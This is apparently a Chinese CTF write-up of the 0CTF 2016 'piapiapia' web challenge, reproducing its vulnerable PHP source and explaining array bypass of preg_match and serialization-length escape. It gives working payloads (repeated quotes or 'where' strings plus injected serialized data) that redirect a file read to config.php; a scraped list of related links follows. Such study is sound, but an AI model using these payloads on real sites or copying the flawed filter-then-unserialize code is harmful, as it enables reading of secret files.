简介

 原题复现:

 考察知识点:反序列化、数组绕过

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

漏洞学习

数组绕过

1.1 url传递数组
当我们要向服务器传递数组时,我们可以通过

http://127.0.0.1/index.php?a[]=hello&a[]=world

来传递,这样,在后端,

$a = $_GET['a'];

就可以接收到

$a[0]=“hello”, $a[1]=“world”。

md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(), "abc") = null
strpos(Array(),"abc") = null
strlen(Array()) = null

https://www.jianshu.com/p/8e3b9d056da6?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

一个简单的例子

从这个例子我们可以看出序列化后的字符串以"作为分隔符,但是并没有导致后面的内容逃逸 这是因为分序列化时,反序列化引擎是根据长度来判断的。

从这个例子我们来看第一个例子正常序列化 第二个例子序列化后面的22222被丢弃了

如果程序在对序列化之后的字符串进行过滤转义导致字符串内容变长/变短时,就会导致反序列化无法得到正常结果

$str1="xiaohua";
$str1_serialize=serialize($str1);
echo $str1_serialize;
//s:7:"xiaohua";

echo "<br>";
$ser_str1='s:7:"xiaohua";2222';
echo unserialize($ser_str1);
//xiaohua

一个存在漏洞的小例子(改变序列化长度,导致反序列化漏洞)

借用大佬一个案例  我们目标想修改sign的内容也是 签名  修改成 Today is very good

<?php$username = $_GET['username'];$sign = "admin";$user = array($username, $sign);$seri = bad_str(serialize($user));echo $seri;$user=unserialize($seri);echo $user[0];echo "<br>";echo "<br>";echo $user[1];function bad_str($string){return preg_replace('/\'/', 'no', $string);}

正常情况 默认sign里面的值是admin

我们加上单引号此时报错了   还有个过滤替换 加一个替换成no 两个则是两个no...

上面图报错了能做什么呢  我们的目标是修改admin为 Today is very good 系列化后是i:1;s:18:"Today is very good";,再加上结尾和能和前面用户名闭合的符号payload ";i:1;s:18:"Today is very good";} 们要让'经过bad_str()函数转义成no之后多出来的长度刚好对齐到我们上面构造的payload。由于上面的payload长度是18,因此我们只要在payload前输入18个',经过bad_str()转义后刚好多出了18个字符 这样我们的";i:1;s:18:"Today is very good";} 就成功逃逸了!

再借用大佬的图

";i:1;s:18:"Today is very good";}  //33个字符所以我们要构造33个'这样在过滤后成了no 多出来33个一共66个字符了

//最终payload 成功修改个性签名
http://192.168.56.1/www(2)/ff.php?username=ka1'''''''''''''''''''''''''''''''''";i:1;s:18:"Today is very good";}

成功修改

做题过程+源码审计

有个疑惑  试了好多扫描器扫描不出来 看WP才知道源码泄露  很多常见的页面扫描器都没扫描出来  不解?

下载源码先审计!

整体架构

class.php审计

经过大致分析首先审计class.php

<?php
require('config.php');//user类
class user extends mysql{private $table = 'users';//检查账户是否存在public function is_exists($username) {$username = parent::filter($username);$where = "username = '$username'";return parent::select($this->table, $where);}//注册账户public function register($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$key_list = Array('username', 'password');$value_list = Array($username, md5($password));return parent::insert($this->table, $key_list, $value_list);}//登陆账户public function login($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$where = "username = '$username'";$object = parent::select($this->table, $where);if ($object && $object->password === md5($password)) {return true;} else {return false;}}//显示用户名public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}//更新。。。public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";echo "11";return parent::update($this->table, 'profile', $new_profile, $where);}//当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用public function __tostring() {  return __class__;}
}//数据库操作的类
class mysql {private $link = null;//连接数据库public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['username'], $config['password']);mysql_select_db($config['database']);mysql_query("SET sql_mode='strict_all_tables'");return $this->link;}//查询数据库指定数据public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}//给数据库插入数据public function insert($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)";return mysql_query($sql);}//更新数据库数据函数public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}//过滤函数public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}
}
session_start();
$user = new user();  //实例化user类
$user->connect($config);  

View Code

说一下主要的这个函数 是一个过滤替换 如果检测到array包含的那些select insert等字符则替换成hacker

config.php审计

可以断定flag在config.php页面中

index.php审计

这时一个很简单登陆界面 判断了一下账号密码长度 然后执行user类中的login函数登陆 如果成功则跳转至profile.php页面

<?phprequire_once('class.php');if($_SESSION['username']) {header('Location: profile.php');exit;}if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = $_POST['password'];//判断账号密码是否符合指定长度if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password');//登陆账号密码if($user->login($username, $password)) {$_SESSION['username'] = $username; //将当前username 写入到session里面header('Location: profile.php'); exit;    }else {die('Invalid user name or password');}}else {
?>
<!DOCTYPE html>
<html>
<head><title>Login</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Login</h3><label>Username:</label><input type="text" name="username" style="height:30px"class="span3"/><label>Password:</label><input type="password" name="password" style="height:30px" class="span3"><button type="submit" class="btn btn-primary">LOGIN</button></form></div>
</body>
</html>
<?php}
?>

View Code

register.php审计

这个是一个注册页面 输入相关信息  首先判断长度 之后使用user中的is_exists函数判断是否重复 如果不重复则执行 user里面的register()函数将账号密码添加到数据库中

<?php//此页面接收输入的账户判断是否重复否的话则执行注册账户类函数然后跳转require_once('class.php');if($_POST['username'] && $_POST['password']) {$username = $_POST['username'];$password = $_POST['password'];if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name');if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password');//检查用户名是否重复if(!$user->is_exists($username)) {//注册账户$user->register($username, $password);echo 'Register OK!<a href="index.php">Please Login</a>';        }else {die('User name Already Exists');}}else {
?>
<!DOCTYPE html>
<html>
<head><title>Login</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Register</h3><label>Username:</label><input type="text" name="username" style="height:30px"class="span3"/><label>Password:</label><input type="password" name="password" style="height:30px" class="span3"><button type="submit" class="btn btn-primary">REGISTER</button></form></div>
</body>
</html>
<?php}
?>

View Code

update.php审计

这个页面是注册完新账户首次登陆被二次跳转获得的 要输入相关信息 图片之类

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');    }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];  ////判断图片大小if($file['size'] < 5 or $file['size'] > 1000000)  die('Photo size error');//移动文件move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);  //执行file检查过滤 追溯下print_r(serialize($profile));echo "<hr>";print_r($user->update_profile($username, serialize($profile)));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {
?>
<!DOCTYPE html>
<html>
<head><title>UPDATE</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px">  <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Please Update Your Profile</h3><label>Phone:</label><input type="text" name="phone" style="height:30px"class="span3"/><label>Email:</label><input type="text" name="email" style="height:30px"class="span3"/><label>Nickname:</label><input type="text" name="nickname" style="height:30px" class="span3"><label for="file">Photo:</label><input type="file" name="photo" style="height:30px"class="span3"/><button type="submit" class="btn btn-primary">UPDATE</button></form></div>
</body>
</html>
<?php}
?>

View Code

一些input中的限制

利用数组可以绕过preg_match

这里有serialize 想到了序列化

profile.php审计

这个页面是我们填写完信息展示的页面  我们发现了这边就是读取数据库中的信息 之后反序列化将值一一对应

但是对图片进行了file_get_contents() 之后又进行了 base64加密  这里我们关键是发现了file_contents()这个函数

结合上面发现的config.php 我们现在只要想办法让它可控读取config即可得到flag  这块卡住了 所以经过看wp才解决的

可以通过 变序列化长度,导致反序列化漏洞来构造

piapiapia做题过程

我们将这里简单输入数据 因为nickname有限制我们可以随便输入几个  BP抓包修改

首先想办法绕过nickname限制这里将nickname改成nickname[] 数组绕过

再nickname里面内容 因为后面拼接的值是34个所以我们需要34个where  经过黑名单过滤替换的时候34个where都会被替换成hacker 所以序列化多出了34个字符

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
//34个where   因为后面 这一段内容长度是34";}s:5:"photo";s:10:"config.php";}

点击发送之后他还要经过序列化一遍 大概成为这样  此时红色部分的一段因为where字符是34经过过滤之后会多出34个字符 34个字符代替了它的位置所以导致红色字符部分成功逃逸 后面的正常序列化

a:4:{s:5:"phone";s:11:"18298873374";s:5:"email";s:9:"aa@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0eda351b66f6e6d9450fc05e3443ec4f";}

最后序列化的时候只序列化了红色的部分后面的认为是多余的忽略了 因为红色末尾已经闭合了

a:4:{s:5:"phone";s:11:"18298873374";s:5:"email";s:9:"aa@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherew
herewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewh
erewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0eda351b66f6e6d9450fc05e3443ec4f";}

查看源码获得base64解密得到flag

参考学习:

https://www.cnblogs.com/litlife/p/11690918.html

[原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]...相关推荐

  1. [原题复现]HCTF 2018 Warmup

    HCTF 2018 Warmup 原题复现:https://gitee.com/xiaohua1998/hctf_2018_warmup 考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意 ...

  2. BUUCTF-WEB 【0CTF 2016】piapiapia 1

    考点:php反序列化字符长度逃逸 打开题目 一般看到登录框,就以为是sql注入题,这道题不是. dirsearch扫网站目录 python3 dirsearch.py -u "http:// ...

  3. 掘安杯原题复现---Web签到题

    flag到底在哪 先打开题目链接,看到页面上只有一个flag在这里的链接,点开后发现是404 notfound 二话不说用burpsuite开始抓包吧(这里抓取点击链接后的包!) 点击action选择 ...

  4. 2019掘安杯原题复现

    1.夺取俄罗斯 so easy 首先点开连接,下载该文件,然后发现是个exe的可执行程序.但是打不开.所以试一下把文件后缀改为.txt,打开发现是一长串字符串. 第一反应是去试一下base64,但是失 ...

  5. 审计练习5——[0CTF 2016]piapiapia

    平台:buuoj.cn 打开靶机如下: 弱密码,sql乱试一波没反应,注册个账号进去之后让我们更新信息 提交跳转到profile.php 扫一下网站目录.(我们在做题扫目录的时候经常会遇见429的情况 ...

  6. [0CTF 2016]piapiapia WP(详细)

    [0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...

  7. BUCTF[0CTF 2016]piapiapia

    [0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...

  8. BUU [0CTF 2016]piapiapia

    BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...

  9. ---已搬运--:[0CTF 2016]piapiapia -----代码审计+字符串逃逸+数组绕过长度限制+以及一下小知识点 preg_match()用数组,而且注意if是正确判断,还是错误判断

    目录: 00000.知识点: 1.url传入数组绕过长度限制?? 2.数组的遍历 3.数组绕过正则 一.自己做: 二.学到的&&不足: 四.学习WP 1.学习一个大佬的思路: 2.学习 ...

  10. [0CTF 2016]piapiapia总结(PHP序列化长度变化导致尾部字符逃逸)

    这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了. 下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固. 一 ...

最新文章

  1. 理解可变参数va_list、va_start、va_arg、va_end原理及使用方法
  2. java jdk安装失败 mac_Mac javaJDK安装遇到的坑和环境变量配置2019-07-09.
  3. EFCore2.0@Xamarin.Forms
  4. MachineLearning(9)-最大似然、最小KL散度、交叉熵损失函数三者的关系
  5. 云洗衣机HTML5源码 朋友圈在线娱乐洗衣服
  6. java预览表格预览文档_java 如何创建一个表格.docx
  7. Spring Boot Executable jar/war 原理
  8. 阿里、Uber都在用的Flink你了解多少?
  9. vector容器——插入和删除
  10. 酷派大观4 8970 刷android 4.4,酷派5890驱动 酷派 8970L(大观4)recovery卡刷通用刷机教程...
  11. asp.net 视频教程
  12. 玩数字域名投资有风险吗 风险与机遇并存
  13. 新生开始学c语言----c语言的概述
  14. 高校手机签到系统——zxing.net生成二维码(补充)
  15. Win10系统导出证书私钥及公钥
  16. 百度直达号申请开通指南 轻应用开发
  17. python 读写txt文件乱码问题
  18. mysql查询余额变化,SQL查询解决方案-逐日余额
  19. SCT2330CTVBR
  20. 浅析项目工作量估算方法

热门文章

  1. BUUCTF中的reverse1
  2. Android 支付宝支付SDK接入
  3. 解决strongOD与olly advanced插件冲突问题
  4. 【Linux】树莓派控制人体红外传感器
  5. IO summery
  6. Java函数式编程与Lambda表达式
  7. 实现元素水平垂直居中的4种方法
  8. Android 点击图片全屏预览 -——ZoomPreviewPicture默认预览使用
  9. 2016苹果开发者账号注册申请流程链接
  10. html表单颜色背景图片大全,css背景颜色、背景图片,以及列表的多种样式